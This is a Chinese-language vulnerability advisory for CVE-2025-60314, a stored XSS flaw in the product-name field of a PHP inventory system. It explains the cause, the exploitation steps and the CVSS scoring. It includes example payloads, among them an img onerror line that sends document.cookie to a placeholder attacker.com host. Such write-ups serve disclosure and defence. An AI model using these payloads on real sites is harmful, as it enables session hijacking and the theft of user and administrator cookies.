CVE-2025-60314CVE-2025-60314是存在于Configuroweb Sistema Web de Inventario 1.0版本中的一个存储型跨站脚本(Stored XSS)漏洞。该系统是一个基于PHP和MySQL的简易库存管理Web应用程序,主要用于小型企业进行产品库存管理操作。漏洞的根本原因在于系统在处理用户输入的'产品名称'(Nombre:Producto)参数时,未对输入内容进行充分的过滤和转义处理,导致恶意攻击者可以将恶意的JavaScript代码作为产品名称提交并永久存储在服务器端数据库中。当其他用户(包括管理员)访问包含该恶意产品信息的页面时,浏览器会自动执行嵌入的恶意脚本,从而实现会话劫持、敏感信息窃取、权限提升或进一步的攻击行为。由于该漏洞需要低权限认证即可利用(CVSS向量中的PR:L),且属于存储型XSS,影响范围较为广泛,一旦被利用将持续威胁所有访问受影响页面的用户。该漏洞的CVSS 3.1评分为5.4分,属于中等严重级别,但鉴于其存储特性和对管理员账户的潜在威胁,实际风险可能更高。漏洞已于2025年10月8日公开披露,发现者为ChuckBartowski7,相关概念验证(PoC)已在GitHub上公开。
该漏洞位于Configuroweb库存管理系统的产品管理功能模块中,具体涉及产品名称(Nombre:Producto)字段的输入处理流程。
**漏洞原理:**
系统在接收用户通过Web表单提交的产品名称数据时,未对HTML特殊字符(如<、>、"、'、&等)进行HTML实体编码或过滤,直接将原始输入数据存储到MySQL数据库中。当系统从数据库读取产品信息并在Web页面上渲染显示时,也未对输出内容进行适当的转义处理,导致浏览器将恶意输入解析为可执行的HTML和JavaScript代码。
**利用条件:**
1. 攻击者需要拥有系统的有效账户凭据(低权限用户即可)
2. 攻击者访问产品创建或编辑功能页面
3. 在'Nombre:Producto'字段中注入恶意JavaScript代码
4. 提交表单后,恶意代码被持久化存储到数据库
**利用方式:**
攻击者可以通过构造包含恶意脚本的产品名称(如<script>alert(document.cookie)</script>或<img src=x onerror=fetch('http://attacker.com/steal?c='+document.cookie)>),将其作为正常产品提交。系统会将该名称存入数据库,每当其他用户(特别是管理员)查看产品列表或详情页面时,恶意脚本将在受害者浏览器上下文中自动执行,可用于窃取会话Cookie、进行钓鱼攻击、篡改页面内容或执行管理操作。
**CVSS向量分析:**
- AV:N(网络攻击向量)- 可通过网络远程利用
- AC:L(低攻击复杂度)- 无需特殊条件
- PR:L(低权限要求)- 需要普通用户认证
- UI:R(需要用户交互)- 需受害者访问受影响页面
- S:C(作用域改变)- 可影响其他安全域
- C:L/I:L/A:N - 机密性和完整性影响低,可用性无影响